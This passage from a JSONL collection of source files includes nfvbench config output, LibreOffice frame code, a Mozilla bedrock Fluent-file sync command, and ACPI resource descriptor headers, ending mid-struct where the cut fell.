[\n \"1518\"\n ],\n \"name\": \"traffic_profile_1518B\"\n },\n {\n \"l2frame_size\": [\n \"64\",\n \"IMIX\"\n ],\n \"name\": \"traffic_profile_2sizes\"\n },\n {\n \"l2frame_size\": [\n \"68\",\n \"IMIX\",\n \"1518\"\n ],\n \"name\": \"traffic_profile_3sizes\"\n }\n ],\n \"unidir_reverse_traffic_pps\": 1,\n \"use_sriov_middle_net\": false,\n \"user_label\": null,\n \"vlan_tagging\": false,\n \"vlans\": [\n [\n 1070,\n 1070,\n 1070,\n 1070,\n 1070,\n 1070,\n 1070,\n 1070\n ],\n [\n 1064,\n 1064,\n 1064,\n 1064,\n 1064,\n 1064,\n 1064,\n 1064\n ]\n ],\n \"vm_forwarder\": \"vpp\",\n \"vm_image_file\": null\n },\n \"date\": \"2018-11-28 11:16:32\",\n \"nfvbench_version\": \"2.0.5\"\n}\n"} +{"text": "package com.neo.service;\n\nimport com.neo.model.UserDetail;\nimport com.neo.param.UserDetailParam;\nimport org.springframework.data.domain.Page;\nimport org.springframework.data.domain.Pageable;\n\npublic interface UserDetailService {\n public Page findByCondition(UserDetailParam detailParam, Pageable pageable);\n}\n"} +{"text": "/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */\n/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http://www.apache.org/licenses/LICENSE-2.0 .\n */\n\n\n#include \"impframe.hxx\"\n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::frame;\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::beans;\nusing ::com::sun::star::frame::XComponentLoader;\n\nclass SfxFrameWindow_Impl : public vcl::Window\n{\n DECL_LINK(ModalHierarchyHdl, bool, void);\npublic:\n SfxFrame* pFrame;\n\n SfxFrameWindow_Impl( SfxFrame* pF, vcl::Window& i_rContainerWindow );\n\n virtual void DataChanged( const DataChangedEvent& rDCEvt ) override;\n virtual void StateChanged( StateChangedType nStateChange ) override;\n virtual bool PreNotify( NotifyEvent& rNEvt ) override;\n virtual bool EventNotify( NotifyEvent& rEvt ) override;\n virtual void Resize() override;\n virtual void GetFocus() override;\n virtual void dispose() override;\n void DoResize();\n};\n\nSfxFrameWindow_Impl::SfxFrameWindow_Impl(SfxFrame* pF, vcl::Window& i_rContainerWindow)\n : Window(&i_rContainerWindow, WB_BORDER | WB_CLIPCHILDREN | WB_NODIALOGCONTROL | WB_3DLOOK)\n , pFrame(pF)\n{\n i_rContainerWindow.SetModalHierarchyHdl(LINK(this, SfxFrameWindow_Impl, ModalHierarchyHdl));\n}\n\nvoid SfxFrameWindow_Impl::dispose()\n{\n GetParent()->SetModalHierarchyHdl(Link());\n vcl::Window::dispose();\n}\n\nvoid SfxFrameWindow_Impl::DataChanged( const DataChangedEvent& rDCEvt )\n{\n Window::DataChanged( rDCEvt );\n // tdf#131613 the printers changing has no effect on window layout\n if (rDCEvt.GetType() == DataChangedEventType::PRINTER)\n return;\n SfxWorkWindow *pWorkWin = pFrame->GetWorkWindow_Impl();\n if ( pWorkWin )\n pWorkWin->DataChanged_Impl();\n}\n\nbool SfxFrameWindow_Impl::EventNotify( NotifyEvent& rNEvt )\n{\n if ( pFrame->IsClosing_Impl() || !pFrame->GetFrameInterface().is() )\n return false;\n\n SfxViewFrame* pView = pFrame->GetCurrentViewFrame();\n if ( !pView || !pView->GetObjectShell() )\n return Window::EventNotify( rNEvt );\n\n if ( rNEvt.GetType() == MouseNotifyEvent::GETFOCUS )\n {\n if ( pView->GetViewShell() && !pView->GetViewShell()->GetUIActiveIPClient_Impl() && !pFrame->IsInPlace() )\n {\n SAL_INFO(\"sfx\", \"SfxFrame: GotFocus\");\n pView->MakeActive_Impl( false );\n }\n\n // if focus was on an external window, the clipboard content might have been changed\n pView->GetBindings().Invalidate( SID_PASTE );\n pView->GetBindings().Invalidate( SID_PASTE_SPECIAL );\n return true;\n }\n else if( rNEvt.GetType() == MouseNotifyEvent::KEYINPUT )\n {\n if ( pView->GetViewShell()->KeyInput( *rNEvt.GetKeyEvent() ) )\n return true;\n }\n\n return Window::EventNotify( rNEvt );\n}\n\nIMPL_LINK(SfxFrameWindow_Impl, ModalHierarchyHdl, bool, bSetModal, void)\n{\n SfxViewFrame* pView = pFrame->GetCurrentViewFrame();\n if (!pView || !pView->GetObjectShell())\n return;\n pView->SetModalMode(bSetModal);\n}\n\nbool SfxFrameWindow_Impl::PreNotify( NotifyEvent& rNEvt )\n{\n MouseNotifyEvent nType = rNEvt.GetType();\n if ( nType == MouseNotifyEvent::KEYINPUT || nType == MouseNotifyEvent::KEYUP )\n {\n SfxViewFrame* pView = pFrame->GetCurrentViewFrame();\n SfxViewShell* pShell = pView ? pView->GetViewShell() : nullptr;\n if ( pShell && pShell->HasKeyListeners_Impl() && pShell->HandleNotifyEvent_Impl( rNEvt ) )\n return true;\n }\n else if ( nType == MouseNotifyEvent::MOUSEBUTTONUP || nType == MouseNotifyEvent::MOUSEBUTTONDOWN )\n {\n vcl::Window* pWindow = rNEvt.GetWindow();\n SfxViewFrame* pView = pFrame->GetCurrentViewFrame();\n SfxViewShell* pShell = pView ? pView->GetViewShell() : nullptr;\n if ( pShell )\n if ( pWindow == pShell->GetWindow() || pShell->GetWindow()->IsChild( pWindow ) )\n if ( pShell->HasMouseClickListeners_Impl() && pShell->HandleNotifyEvent_Impl( rNEvt ) )\n return true;\n }\n\n if ( nType == MouseNotifyEvent::MOUSEBUTTONDOWN )\n {\n vcl::Window* pWindow = rNEvt.GetWindow();\n const MouseEvent* pMEvent = rNEvt.GetMouseEvent();\n Point aPos = pWindow->OutputToScreenPixel( pMEvent->GetPosPixel() );\n SfxWorkWindow *pWorkWin = pFrame->GetWorkWindow_Impl();\n if ( pWorkWin )\n pWorkWin->EndAutoShow_Impl( aPos );\n }\n\n return Window::PreNotify( rNEvt );\n}\n\nvoid SfxFrameWindow_Impl::GetFocus()\n{\n if ( pFrame && !pFrame->IsClosing_Impl() && pFrame->GetCurrentViewFrame() && pFrame->GetFrameInterface().is() )\n pFrame->GetCurrentViewFrame()->MakeActive_Impl( true );\n}\n\nvoid SfxFrameWindow_Impl::Resize()\n{\n if ( IsReallyVisible() || IsReallyShown() || GetOutputSizePixel().Width() )\n DoResize();\n}\n\nvoid SfxFrameWindow_Impl::StateChanged( StateChangedType nStateChange )\n{\n if ( nStateChange == StateChangedType::InitShow )\n {\n pFrame->pImpl->bHidden = false;\n if ( pFrame->IsInPlace() )\n // TODO/MBA: workaround for bug in LayoutManager: the final resize does not get through because the\n // LayoutManager works asynchronously and between resize and time execution the DockingAcceptor was exchanged so that\n // the resize event never is sent to the component\n SetSizePixel( GetParent()->GetOutputSizePixel() );\n\n DoResize();\n SfxViewFrame* pView = pFrame->GetCurrentViewFrame();\n if ( pView )\n pView->GetBindings().GetWorkWindow_Impl()->ShowChildren_Impl();\n }\n\n Window::StateChanged( nStateChange );\n}\n\nvoid SfxFrameWindow_Impl::DoResize()\n{\n if ( !pFrame->pImpl->bLockResize )\n pFrame->Resize();\n}\n\nReference < XFrame > SfxFrame::CreateBlankFrame()\n{\n Reference < XFrame > xFrame;\n try\n {\n Reference < XDesktop2 > xDesktop = Desktop::create( ::comphelper::getProcessComponentContext() );\n xFrame.set( xDesktop->findFrame( \"_blank\", 0 ), UNO_SET_THROW );\n }\n catch( const Exception& )\n {\n DBG_UNHANDLED_EXCEPTION(\"sfx.view\");\n }\n return xFrame;\n}\n\nSfxFrame* SfxFrame::CreateHidden( SfxObjectShell const & rDoc, vcl::Window& rWindow, SfxInterfaceId nViewId )\n{\n SfxFrame* pFrame = nullptr;\n try\n {\n // create and initialize new top level frame for this window\n Reference < XComponentContext > xContext( ::comphelper::getProcessComponentContext() );\n Reference < XDesktop2 > xDesktop = Desktop::create( xContext );\n Reference < XFrame2 > xFrame = Frame::create( xContext );\n\n Reference< awt::XWindow2 > xWin( VCLUnoHelper::GetInterface ( &rWindow ), uno::UNO_QUERY_THROW );\n xFrame->initialize( xWin.get() );\n xDesktop->getFrames()->append( xFrame );\n\n if ( xWin->isActive() )\n xFrame->activate();\n\n // create load arguments\n Sequence< PropertyValue > aLoadArgs;\n TransformItems( SID_OPENDOC, *rDoc.GetMedium()->GetItemSet(), aLoadArgs );\n\n ::comphelper::NamedValueCollection aArgs( aLoadArgs );\n aArgs.put( \"Model\", rDoc.GetModel() );\n aArgs.put( \"Hidden\", true );\n if ( nViewId != SFX_INTERFACE_NONE )\n aArgs.put( \"ViewId\", static_cast(nViewId) );\n\n aLoadArgs = aArgs.getPropertyValues();\n\n // load the doc into that frame\n Reference< XComponentLoader > xLoader( xFrame, UNO_QUERY_THROW );\n xLoader->loadComponentFromURL(\n \"private:object\",\n \"_self\",\n 0,\n aLoadArgs\n );\n\n for ( pFrame = SfxFrame::GetFirst();\n pFrame;\n pFrame = SfxFrame::GetNext( *pFrame )\n )\n {\n if ( pFrame->GetFrameInterface() == xFrame )\n break;\n }\n\n OSL_ENSURE( pFrame, \"SfxFrame::Create: load succeeded, but no SfxFrame was created during this!\" );\n }\n catch( const Exception& )\n {\n DBG_UNHANDLED_EXCEPTION(\"sfx.view\");\n }\n\n return pFrame;\n}\n\nSfxFrame* SfxFrame::Create( const Reference < XFrame >& i_rFrame )\n{\n // create a new TopFrame to an external XFrame object ( wrap controller )\n ENSURE_OR_THROW( i_rFrame.is(), \"NULL frame not allowed\" );\n VclPtr pWindow = VCLUnoHelper::GetWindow( i_rFrame->getContainerWindow() );\n ENSURE_OR_THROW( pWindow, \"frame without container window not allowed\" );\n\n SfxFrame* pFrame = new SfxFrame( *pWindow );\n pFrame->SetFrameInterface_Impl( i_rFrame );\n return pFrame;\n}\n\nSfxFrame::SfxFrame( vcl::Window& i_rContainerWindow )\n :SvCompatWeakBase( this )\n ,pWindow( nullptr )\n{\n Construct_Impl();\n\n pImpl->bHidden = false;\n InsertTopFrame_Impl( this );\n pImpl->pExternalContainerWindow = &i_rContainerWindow;\n\n pWindow = VclPtr::Create( this, i_rContainerWindow );\n\n // always show pWindow, which is the ComponentWindow of the XFrame we live in\n // nowadays, since SfxFrames can be created with an XFrame only, hiding or showing the complete XFrame\n // is not done at level of the container window, not at SFX level. Thus, the component window can\n // always be visible.\n pWindow->Show();\n}\n\nvoid SfxFrame::SetPresentationMode( bool bSet )\n{\n if ( GetCurrentViewFrame() )\n GetCurrentViewFrame()->GetWindow().SetBorderStyle( bSet ? WindowBorderStyle::NOBORDER : WindowBorderStyle::NORMAL );\n\n Reference< css::beans::XPropertySet > xPropSet( GetFrameInterface(), UNO_QUERY );\n Reference< css::frame::XLayoutManager > xLayoutManager;\n\n if ( xPropSet.is() )\n {\n Any aValue = xPropSet->getPropertyValue(\"LayoutManager\");\n aValue >>= xLayoutManager;\n }\n\n if ( xLayoutManager.is() )\n xLayoutManager->setVisible( !bSet ); // we don't want to have ui in presentation mode\n\n SetMenuBarOn_Impl( !bSet );\n if ( GetWorkWindow_Impl() )\n GetWorkWindow_Impl()->SetDockingAllowed( !bSet );\n if ( GetCurrentViewFrame() )\n GetCurrentViewFrame()->GetDispatcher()->Update_Impl( true );\n}\n\nSystemWindow* SfxFrame::GetSystemWindow() const\n{\n return GetTopWindow_Impl();\n}\n\nSystemWindow* SfxFrame::GetTopWindow_Impl() const\n{\n if ( pImpl->pExternalContainerWindow->IsSystemWindow() )\n return static_cast( pImpl->pExternalContainerWindow.get() );\n else\n return nullptr;\n}\n\n\nvoid SfxFrame::LockResize_Impl( bool bLock )\n{\n pImpl->bLockResize = bLock;\n}\n\nvoid SfxFrame::SetMenuBarOn_Impl( bool bOn )\n{\n pImpl->bMenuBarOn = bOn;\n\n Reference< css::beans::XPropertySet > xPropSet( GetFrameInterface(), UNO_QUERY );\n Reference< css::frame::XLayoutManager > xLayoutManager;\n\n if ( xPropSet.is() )\n {\n Any aValue = xPropSet->getPropertyValue(\"LayoutManager\");\n aValue >>= xLayoutManager;\n }\n\n if ( xLayoutManager.is() )\n {\n OUString aMenuBarURL( \"private:resource/menubar/menubar\" );\n\n if ( bOn )\n xLayoutManager->showElement( aMenuBarURL );\n else\n xLayoutManager->hideElement( aMenuBarURL );\n }\n}\n\nbool SfxFrame::IsMenuBarOn_Impl() const\n{\n return pImpl->bMenuBarOn;\n}\n\nvoid SfxFrame::PrepareForDoc_Impl( SfxObjectShell& i_rDoc )\n{\n const ::comphelper::NamedValueCollection aDocumentArgs( i_rDoc.GetModel()->getArgs() );\n\n // hidden?\n OSL_ENSURE( !pImpl->bHidden, \"when does this happen?\" );\n pImpl->bHidden = aDocumentArgs.getOrDefault( \"Hidden\", pImpl->bHidden );\n\n // update our descriptor\n UpdateDescriptor( &i_rDoc );\n\n // plugin mode\n sal_Int16 nPluginMode = aDocumentArgs.getOrDefault( \"PluginMode\", sal_Int16( 0 ) );\n if ( nPluginMode && ( nPluginMode != 2 ) )\n pImpl->bInPlace = true;\n}\n\nbool SfxFrame::IsMarkedHidden_Impl() const\n{\n return pImpl->bHidden;\n}\n\n/* vim:set shiftwidth=4 softtabstop=4 expandtab: */\n"} +{"text": "/**\n * Copyright (c) 2000-present Liferay, Inc. All rights reserved.\n *\n * This library is free software; you can redistribute it and/or modify it under\n * the terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation; either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * This library is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n */\n\npackage com.liferay.ide.server.ui.cmd;\n\nimport com.liferay.ide.server.core.ILiferayServerWorkingCopy;\nimport com.liferay.ide.server.core.LiferayServerCommand;\n\nimport org.eclipse.osgi.util.NLS;\n\n/**\n * @author Gregory Amerson\n */\npublic class SetUsernameCommand extends LiferayServerCommand {\n\n\tpublic SetUsernameCommand(ILiferayServerWorkingCopy server, String username) {\n\t\tsuper(server, Msgs.setUsername);\n\n\t\tthis.username = username;\n\t}\n\n\tpublic void execute() {\n\t\toldUsername = server.getUsername();\n\n\t\tserver.setUsername(username);\n\t}\n\n\tpublic void undo() {\n\t\tserver.setUsername(oldUsername);\n\t}\n\n\tprotected String oldUsername;\n\tprotected String username;\n\n\tprivate static class Msgs extends NLS {\n\n\t\tpublic static String setUsername;\n\n\t\tstatic {\n\t\t\tinitializeMessages(SetUsernameCommand.class.getName(), Msgs.class);\n\t\t}\n\n\t}\n\n}"} +{"text": "/** @file\r\n*\r\n* Copyright (c) 2017, Linaro Limited. All rights reserved.\r\n*\r\n* This program and the accompanying materials\r\n* are licensed and made available under the terms and conditions of the BSD License\r\n* which accompanies this distribution. The full text of the license may be found at\r\n* http://opensource.org/licenses/bsd-license.php\r\n*\r\n* THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n* WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n*\r\n**/\r\n\r\n#ifndef __DT_PLATFORM_FORMSET_H__\r\n#define __DT_PLATFORM_FORMSET_H__\r\n\r\n#define DT_PLATFORM_FORMSET_GUID \\\r\n { 0x2b7a240d, 0xd5ad, 0x4fd6, { 0xbe, 0x1c, 0xdf, 0xa4, 0x41, 0x5f, 0x55, 0x26 } }\r\n\r\nextern EFI_GUID gDtPlatformFormSetGuid;\r\n\r\n#endif\r\n"} +{"text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport shutil\nfrom subprocess import CalledProcessError\n\nfrom django.core.management.base import CommandError\nfrom django.conf import settings\n\nfrom fluent.syntax.parser import FluentParser, ParseError\n\nfrom lib.l10n_utils.fluent import fluent_l10n, get_metadata, write_metadata\nfrom ._ftl_repo_base import FTLRepoCommand\n\n\nGIT_COMMIT_EMAIL = 'meao-bots+mozmarrobot@mozilla.com'\nGIT_COMMIT_NAME = 'MozMEAO Bot'\n\n\nclass NoisyFluentParser(FluentParser):\n \"\"\"A parser that will raise exceptions.\n\n The one from fluent.syntax doesn't raise exceptions, but will\n return instances of fluent.syntax.ast.Junk instead.\n \"\"\"\n def get_entry_or_junk(self, ps):\n \"\"\"Allow the ParseError to bubble up\"\"\"\n entry = self.get_entry(ps)\n ps.expect_line_end()\n return entry\n\n\nclass Command(FTLRepoCommand):\n help = 'Processes .ftl files from l10n team for use in bedrock'\n parser = None\n\n def add_arguments(self, parser):\n super().add_arguments(parser)\n parser.add_argument('--push', action='store_true', dest='push', default=False,\n help='Push the changes to the MEAO Fluent files repo.')\n\n def handle(self, *args, **options):\n super().handle(*args, **options)\n self.parser = NoisyFluentParser()\n self.update_fluent_files()\n self.update_l10n_team_files()\n no_errors = self.copy_ftl_files()\n self.set_activation()\n self.copy_configs()\n if options['push']:\n changes = self.commit_changes()\n if changes:\n self.push_changes()\n\n if not no_errors:\n raise CommandError('Some errors were discovered in some .ftl files and they were not updated.'\n 'See above for details.')\n\n def config_fluent_repo(self):\n \"\"\"Set user config so that committing will work\"\"\"\n self.meao_repo.git('config', 'user.email', GIT_COMMIT_EMAIL)\n self.meao_repo.git('config', 'user.name', GIT_COMMIT_NAME)\n\n def commit_changes(self):\n self.config_fluent_repo()\n self.meao_repo.git('add', '.')\n try:\n self.meao_repo.git('commit', '-m', 'Update files from l10n repo')\n except CalledProcessError:\n self.stdout.write('No changes to commit')\n return False\n\n self.stdout.write('Committed changes to local repo')\n return True\n\n def push_changes(self):\n try:\n self.meao_repo.git('push', self.git_push_url, 'HEAD:master')\n except CalledProcessError:\n raise CommandError(f'There was a problem pushing to {self.meao_repo.remote_url}')\n\n commit = self.meao_repo.git('rev-parse', '--short', 'HEAD')\n self.stdout.write(f'Pushed {commit} to {self.meao_repo.remote_url}')\n\n @property\n def git_push_url(self):\n if not settings.FLUENT_REPO_AUTH:\n raise CommandError('Git push authentication not configured')\n\n return self.meao_repo.remote_url_auth(settings.FLUENT_REPO_AUTH)\n\n def _copy_file(self, filepath):\n relative_filepath = filepath.relative_to(self.l10n_repo.path)\n to_filepath = self.meao_repo.path.joinpath(relative_filepath)\n to_filepath.parent.mkdir(parents=True, exist_ok=True)\n shutil.copy2(str(filepath), str(to_filepath))\n self.stdout.write('.', ending='')\n self.stdout.flush()\n\n def copy_configs(self):\n count = 0\n for filepath in self.l10n_repo.path.rglob('*.toml'):\n self._copy_file(filepath)\n count += 1\n\n self.stdout.write(f'\\nCopied {count} .toml files')\n\n def copy_ftl_files(self):\n count = 0\n errors = []\n for filepath in self.l10n_repo.path.rglob('*.ftl'):\n if not self.lint_ftl_file(filepath):\n errors.append(filepath.relative_to(self.l10n_repo.path))\n continue\n\n self._copy_file(filepath)\n count += 1\n\n self.stdout.write(f'\\nCopied {count} .ftl files')\n if errors:\n self.stdout.write('The following files had parse errors and were not copied:')\n for fpath in errors:\n self.stdout.write(f'- {fpath}')\n return False\n\n return True\n\n def lint_ftl_file(self, filepath):\n with filepath.open() as ftl:\n try:\n self.parser.parse(ftl.read())\n except ParseError:\n return False\n\n return True\n\n def set_activation(self):\n updated_ftl = set()\n modified, _ = self.meao_repo.modified_files()\n for fname in modified:\n if not fname.endswith('.ftl'):\n continue\n\n locale, ftl_name = fname.split('/', 1)\n updated_ftl.add(ftl_name)\n\n for ftl_name in updated_ftl:\n self.calculate_activation(ftl_name)\n\n def calculate_activation(self, ftl_file):\n translations = self.meao_repo.path.glob(f'*/{ftl_file}')\n metadata = get_metadata(ftl_file)\n active_locales = metadata.get('active_locales', [])\n inactive_locales = metadata.get('inactive_locales', [])\n percent_required = metadata.get('percent_required', settings.FLUENT_DEFAULT_PERCENT_REQUIRED)\n all_locales = {str(x.relative_to(self.meao_repo.path)).split('/', 1)[0] for x in translations}\n locales_to_check = all_locales.difference(['en'], active_locales, inactive_locales)\n new_activations = []\n for locale in locales_to_check:\n l10n = fluent_l10n([locale, 'en'], [ftl_file])\n if not l10n.has_required_messages:\n continue\n\n percent_trans = l10n.percent_translated\n if percent_trans < percent_required:\n continue\n\n new_activations.append(locale)\n\n if new_activations:\n active_locales.extend(new_activations)\n metadata['active_locales'] = sorted(active_locales)\n write_metadata(ftl_file, metadata)\n self.stdout.write(f'Activated {len(new_activations)} new locales for {ftl_file}')\n"} +{"text": "import * as au from \"../aurelia\";\r\nexport declare class MdInput {\r\n private element;\r\n private taskQueue;\r\n constructor(element: Element, taskQueue: au.TaskQueue);\r\n static id: number;\r\n controlId: string;\r\n labelEl: HTMLLabelElement;\r\n input: HTMLInputElement;\r\n label: string;\r\n blurOnEnter: boolean;\r\n disabled: boolean;\r\n readonly: boolean;\r\n placeholder: string;\r\n textArea: boolean;\r\n type: string;\r\n step: string;\r\n validate: boolean;\r\n showErrortext: boolean;\r\n inline: boolean;\r\n updateTrigger: string[];\r\n validateError: string;\r\n validateSuccess: string;\r\n value: string;\r\n valueChanged(): void;\r\n min: string;\r\n max: string;\r\n name: string;\r\n maxlength: number;\r\n autocomplete: string;\r\n validateResults: au.ValidateResult[];\r\n validationClass: string;\r\n bind(): void;\r\n attached(): void;\r\n detached(): void;\r\n updateLabel(): void;\r\n blur(): void;\r\n focus(): void;\r\n attachEventHandlers(): void;\r\n detachEventHandlers(): void;\r\n blurOnEnterHandler: (e: any) => void;\r\n mdUnrenderValidateResults: (results: au.ValidateResult[], renderer: au.MaterializeFormValidationRenderer) => void;\r\n mdRenderValidateResults: (results: au.ValidateResult[], renderer: au.MaterializeFormValidationRenderer) => void;\r\n}\r\n"} +{"text": "\n/******************************************************************************\n *\n * Module Name: amlresrc.h - AML resource descriptors\n *\n *****************************************************************************/\n\n/*\n * Copyright (C) 2000 - 2011, Intel Corp.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions, and the following disclaimer,\n * without modification.\n * 2. Redistributions in binary form must reproduce at minimum a disclaimer\n * substantially similar to the \"NO WARRANTY\" disclaimer below\n * (\"Disclaimer\") and any redistribution must be conditioned upon\n * including a substantially similar Disclaimer requirement for further\n * binary redistribution.\n * 3. Neither the names of the above-listed copyright holders nor the names\n * of any contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * Alternatively, this software may be distributed under the terms of the\n * GNU General Public License (\"GPL\") version 2 as published by the Free\n * Software Foundation.\n *\n * NO WARRANTY\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * HOLDERS OR CONTRIBUTORS BE LIABLE FOR SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGES.\n */\n\n/* acpisrc:struct_defs -- for acpisrc conversion */\n\n#ifndef __AMLRESRC_H\n#define __AMLRESRC_H\n\n/*\n * Resource descriptor tags, as defined in the ACPI specification.\n * Used to symbolically reference fields within a descriptor.\n */\n#define ACPI_RESTAG_ADDRESS \"_ADR\"\n#define ACPI_RESTAG_ALIGNMENT \"_ALN\"\n#define ACPI_RESTAG_ADDRESSSPACE \"_ASI\"\n#define ACPI_RESTAG_ACCESSSIZE \"_ASZ\"\n#define ACPI_RESTAG_TYPESPECIFICATTRIBUTES \"_ATT\"\n#define ACPI_RESTAG_BASEADDRESS \"_BAS\"\n#define ACPI_RESTAG_BUSMASTER \"_BM_\"\t/* Master(1), Slave(0) */\n#define ACPI_RESTAG_DECODE \"_DEC\"\n#define ACPI_RESTAG_DMA \"_DMA\"\n#define ACPI_RESTAG_DMATYPE \"_TYP\"\t/* Compatible(0), A(1), B(2), F(3) */\n#define ACPI_RESTAG_GRANULARITY \"_GRA\"\n#define ACPI_RESTAG_INTERRUPT \"_INT\"\n#define ACPI_RESTAG_INTERRUPTLEVEL \"_LL_\"\t/* active_lo(1), active_hi(0) */\n#define ACPI_RESTAG_INTERRUPTSHARE \"_SHR\"\t/* Shareable(1), no_share(0) */\n#define ACPI_RESTAG_INTERRUPTTYPE \"_HE_\"\t/* Edge(1), Level(0) */\n#define ACPI_RESTAG_LENGTH \"_LEN\"\n#define ACPI_RESTAG_MEMATTRIBUTES \"_MTP\"\t/* Memory(0), Reserved(1), ACPI(2), NVS(3) */\n#define ACPI_RESTAG_MEMTYPE \"_MEM\"\t/* non_cache(0), Cacheable(1) Cache+combine(2), Cache+prefetch(3) */\n#define ACPI_RESTAG_MAXADDR \"_MAX\"\n#define ACPI_RESTAG_MINADDR \"_MIN\"\n#define ACPI_RESTAG_MAXTYPE \"_MAF\"\n#define ACPI_RESTAG_MINTYPE \"_MIF\"\n#define ACPI_RESTAG_REGISTERBITOFFSET \"_RBO\"\n#define ACPI_RESTAG_REGISTERBITWIDTH \"_RBW\"\n#define ACPI_RESTAG_RANGETYPE \"_RNG\"\n#define ACPI_RESTAG_READWRITETYPE \"_RW_\"\t/* read_only(0), Writeable (1) */\n#define ACPI_RESTAG_TRANSLATION \"_TRA\"\n#define ACPI_RESTAG_TRANSTYPE \"_TRS\"\t/* Sparse(1), Dense(0) */\n#define ACPI_RESTAG_TYPE \"_TTP\"\t/* Translation(1), Static (0) */\n#define ACPI_RESTAG_XFERTYPE \"_SIZ\"\t/* 8(0), 8_and16(1), 16(2) */\n\n/* Default sizes for \"small\" resource descriptors */\n\n#define ASL_RDESC_IRQ_SIZE 0x02\n#define ASL_RDESC_DMA_SIZE 0x02\n#define ASL_RDESC_ST_DEPEND_SIZE 0x00\n#define ASL_RDESC_END_DEPEND_SIZE 0x00\n#define ASL_RDESC_IO_SIZE 0x07\n#define ASL_RDESC_FIXED_IO_SIZE 0x03\n#define ASL_RDESC_END_TAG_SIZE 0x01\n\nstruct asl_resource_node {\n\tu32 buffer_length;\n\tvoid *buffer;\n\tstruct asl_resource_node *next;\n};\n\n/* Macros used to generate AML resource length fields */\n\n#define ACPI_AML_SIZE_LARGE(r) (sizeof (r) - sizeof (struct aml_resource_large_header))\n#define ACPI_AML_SIZE_SMALL(r) (sizeof (r) - sizeof (struct aml_resource_small_header))\n\n/*\n * Resource descriptors defined in the ACPI specification.\n *\n * Packing/alignment must be BYTE because these descriptors\n * are used to overlay the raw AML byte stream.\n */\n#pragma pack(1)\n\n/*\n * SMALL descriptors\n */\n#define AML_RESOURCE_SMALL_HEADER_COMMON \\\n\tu8 descriptor_type;\n\nstruct aml_resource_small_header {\nAML_RESOURCE_SMALL_HEADER_COMMON};\n\nstruct aml_resource_irq {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u16 irq_mask;\n\tu8 flags;\n};\n\nstruct aml_resource_irq_noflags {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u16 irq_mask;\n};\n\nstruct aml_resource_dma {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u8 dma_channel_mask;\n\tu8 flags;\n};\n\nstruct aml_resource_start_dependent {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u8 flags;\n};\n\nstruct aml_resource_start_dependent_noprio {\nAML_RESOURCE_SMALL_HEADER_COMMON};\n\nstruct aml_resource_end_dependent {\nAML_RESOURCE_SMALL_HEADER_COMMON};\n\nstruct aml_resource_io {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u8 flags;\n\tu16 minimum;\n\tu16 maximum;\n\tu8 alignment;\n\tu8 address_length;\n};\n\nstruct aml_resource_fixed_io {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u16 address;\n\tu8 address_length;\n};\n\nstruct aml_resource_vendor_small {\nAML_RESOURCE_SMALL_HEADER_COMMON};\n\nstruct aml_resource_end_tag {\n\tAML_RESOURCE_SMALL_HEADER_COMMON u8 checksum;\n};\n\n/*\n * LARGE descriptors\n */\n#define AML_RESOURCE_LARGE_HEADER_COMMON \\\n\tu8 descriptor_type;\\\n\tu16 resource_length;\n\nstruct aml_resource_large_header {\nAML_RESOURCE_LARGE_HEADER_COMMON};\n\nstruct aml_resource_memory24 {\n\tAML_RESOURCE_LARGE_HEADER_COMMON u8 flags;\n\tu16 minimum;\n\tu16 maximum;\n\tu16 alignment;\n\tu16 address_length;\n};\n\nstruct 